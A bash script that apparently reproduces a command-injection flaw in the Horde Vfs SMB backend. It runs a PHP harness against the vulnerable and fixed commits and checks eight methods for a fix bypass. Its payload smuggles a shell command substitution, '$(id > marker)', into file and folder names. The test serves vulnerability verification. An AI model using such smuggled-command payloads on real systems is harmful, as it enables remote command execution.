#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
ARTIFACTS="$ROOT/vuln_variant/artifacts"
CACHE_CONTEXT="$ROOT/project_cache_context.json"
FIXED_COMMIT="41f74b4acfc144e09013d04dd121e0a5da808361"
PROJECT_NAME="horde-vfs"
REPO=""

mkdir -p "$LOGS" "$ARTIFACTS"

# Locate or clone the repository (prefer the prepared project cache).
if [ -f "$CACHE_CONTEXT" ]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$CACHE_CONTEXT" 2>/dev/null || true)
    if [ -n "${CACHE_DIR:-}" ] && [ -d "$CACHE_DIR/repo/.git" ]; then
        REPO="$CACHE_DIR/repo"
    fi
fi
if [ -z "${REPO:-}" ]; then
    REPO="$ROOT/artifacts/$PROJECT_NAME"
    mkdir -p "$REPO"
    if [ ! -d "$REPO/.git" ]; then
        git clone https://github.com/horde/Vfs.git "$REPO"
    fi
fi

# Ensure the fixed commit is available so its parent is the vulnerable commit.
cd "$REPO"
if ! git rev-parse "$FIXED_COMMIT" >/dev/null 2>&1; then
    git fetch --depth 1 origin "$FIXED_COMMIT" || git fetch origin
fi
VULN_COMMIT=$(git rev-parse "$FIXED_COMMIT^")
FIXED_RESOLVED=$(git rev-parse "$FIXED_COMMIT")

# Make sure runtime dependencies are present.
if ! command -v php >/dev/null 2>&1 || ! command -v composer >/dev/null 2>&1; then
    export DEBIAN_FRONTEND=noninteractive
    sudo apt-get update -q
    sudo apt-get install -y -q php-cli php-mbstring php-xml composer git
fi

# A fake smbclient that just logs its argv and exits cleanly.
FAKE_SMB="$ARTIFACTS/fake_smbclient.sh"
cat > "$FAKE_SMB" <<'EOF'
#!/bin/bash
LOG="${PRUVA_SMB_LOG:-/tmp/smbclient.log}"
{
    printf '--- invocation ---\n'
    printf 'ARG %s\n' "$@"
    printf 'EXIT 0\n'
} >> "$LOG"
exit 0
EOF
chmod +x "$FAKE_SMB"

# PHP harness that exercises a chosen public method with a malicious payload.
HARNESS="$ARTIFACTS/harness.php"
cat > "$HARNESS" <<'PHP'
<?php
require $_SERVER['PRUVA_VENDOR_DIR'] . '/autoload.php';

$op = $argv[1] ?? 'createFolder';
$payload = $argv[2] ?? 'safe$(id > /tmp/pruva_variant_marker).txt';
$marker = $argv[3] ?? '/tmp/pruva_variant_marker';
$fake = $argv[4] ?? '/bin/false';

@unlink($marker);

$vfs = new Horde_Vfs_Smb([
    'username' => 'user',
    'password' => 'pass',
    'hostspec' => '127.0.0.1',
    'share' => 'share',
    'smbclient' => $fake,
    'vfsroot' => '/vfs',
]);

try {
    switch ($op) {
        case 'createFolder':
            $vfs->createFolder('', $payload);
            break;
        case 'deleteFile':
            $vfs->deleteFile('', $payload);
            break;
        case 'deleteFolder':
            $vfs->deleteFolder('', $payload, false);
            break;
        case 'writeData':
            $vfs->writeData('', $payload, 'pruva');
            break;
        case 'rename':
            $vfs->rename('', 'old', '', $payload);
            break;
        case 'readFile':
            @$vfs->readFile('', $payload);
            break;
        case 'isFolder':
            $vfs->isFolder('', $payload);
            break;
        case 'listFolderPath':
            @$vfs->listFolder($payload);
            break;
        default:
            fwrite(STDERR, "Unknown operation: $op\n");
            exit(2);
    }
} catch (Throwable $e) {
    // VFS-level failures are expected with the fake smbclient; we only care
    // whether the shell already executed the payload before the fake ran.
}

$exists = file_exists($marker);
fwrite(STDERR, "VARIANT $op MARKER $marker " . ($exists ? 'FIRED' : 'NOT_FIRED') . "\n");
exit($exists ? 0 : 1);
PHP

# Start the run log.
RUN_LOG="$LOGS/variant_run.log"
: > "$RUN_LOG"
{
    echo "Repository: $REPO"
    echo "Vulnerable commit: $VULN_COMMIT"
    echo "Fixed commit:      $FIXED_RESOLVED"
} | tee -a "$RUN_LOG"

run_operation() {
    local op=$1
    local commit=$2
    local label=$3
    local marker=$4
    local payload=$5
    local out="$LOGS/${op}_${label}.log"
    local smb_log="$LOGS/${op}_${label}_smbclient.log"

    rm -f "$out" "$smb_log" "$marker"

    git -C "$REPO" checkout -q "$commit"

    # Ensure vendor autoload is present for the checked-out commit.
    cd "$REPO"
    composer install --ignore-platform-reqs --no-dev --no-interaction --no-progress --no-plugins >> "$out" 2>&1

    PRUVA_VENDOR_DIR="$REPO/vendor" \
    PRUVA_SMB_LOG="$smb_log" \
        php -d display_errors=1 "$HARNESS" "$op" "$payload" "$marker" "$FAKE_SMB" >> "$out" 2>&1
    local rc=$?

    echo "[$label/$op] rc=$rc" >> "$RUN_LOG"
    if [ -f "$smb_log" ]; then
        cat "$smb_log" >> "$RUN_LOG"
    fi

    return $rc
}

# Variant candidates: same vulnerable sink reached through different public methods
# of Horde_Vfs_Smb.  The payload uses command substitution so it only creates the
# marker if /bin/sh parses the command line.
VARIANTS=(createFolder deleteFile writeData rename readFile deleteFolder isFolder listFolderPath)
BYPASS_FOUND=0
VULN_FIRED_COUNT=0
FIXED_FIRED_COUNT=0

for op in "${VARIANTS[@]}"; do
    marker="$LOGS/marker_${op}"
    # The path-based variant uses a path without a file extension; the rest are filenames.
    if [ "$op" = "listFolderPath" ]; then
        payload="safe\$(id > $marker)"
    else
        payload="safe\$(id > $marker).txt"
    fi

    echo "" >> "$RUN_LOG"
    echo "=== Testing variant: $op ===" >> "$RUN_LOG"

    if run_operation "$op" "$VULN_COMMIT" "vulnerable" "$marker" "$payload"; then
        echo "[$op] Vulnerable commit: PAYLOAD FIRED" >> "$RUN_LOG"
        VULN_FIRED_COUNT=$((VULN_FIRED_COUNT + 1))
    else
        echo "[$op] Vulnerable commit: payload did NOT fire" >> "$RUN_LOG"
    fi

    if run_operation "$op" "$FIXED_RESOLVED" "fixed" "$marker" "$payload"; then
        echo "[$op] Fixed commit: PAYLOAD FIRED (potential bypass)" >> "$RUN_LOG"
        FIXED_FIRED_COUNT=$((FIXED_FIRED_COUNT + 1))
        BYPASS_FOUND=1
    else
        echo "[$op] Fixed commit: payload did NOT fire (fix covers this path)" >> "$RUN_LOG"
    fi
done

# Restore the repository to the fixed commit so the next stage sees the same state.
git -C "$REPO" checkout -q "$FIXED_RESOLVED"

echo "" >> "$RUN_LOG"
echo "Variants that fired on vulnerable commit: $VULN_FIRED_COUNT/${#VARIANTS[@]}" >> "$RUN_LOG"
echo "Variants that fired on fixed commit:      $FIXED_FIRED_COUNT/${#VARIANTS[@]}" >> "$RUN_LOG"

if [ "$BYPASS_FOUND" -eq 1 ]; then
    echo "BYPASS CONFIRMED: at least one variant still triggers on the fixed commit." | tee -a "$RUN_LOG"
    exit 0
else
    echo "NO BYPASS: the fixed commit covers all tested variant paths." | tee -a "$RUN_LOG"
    exit 1
fi
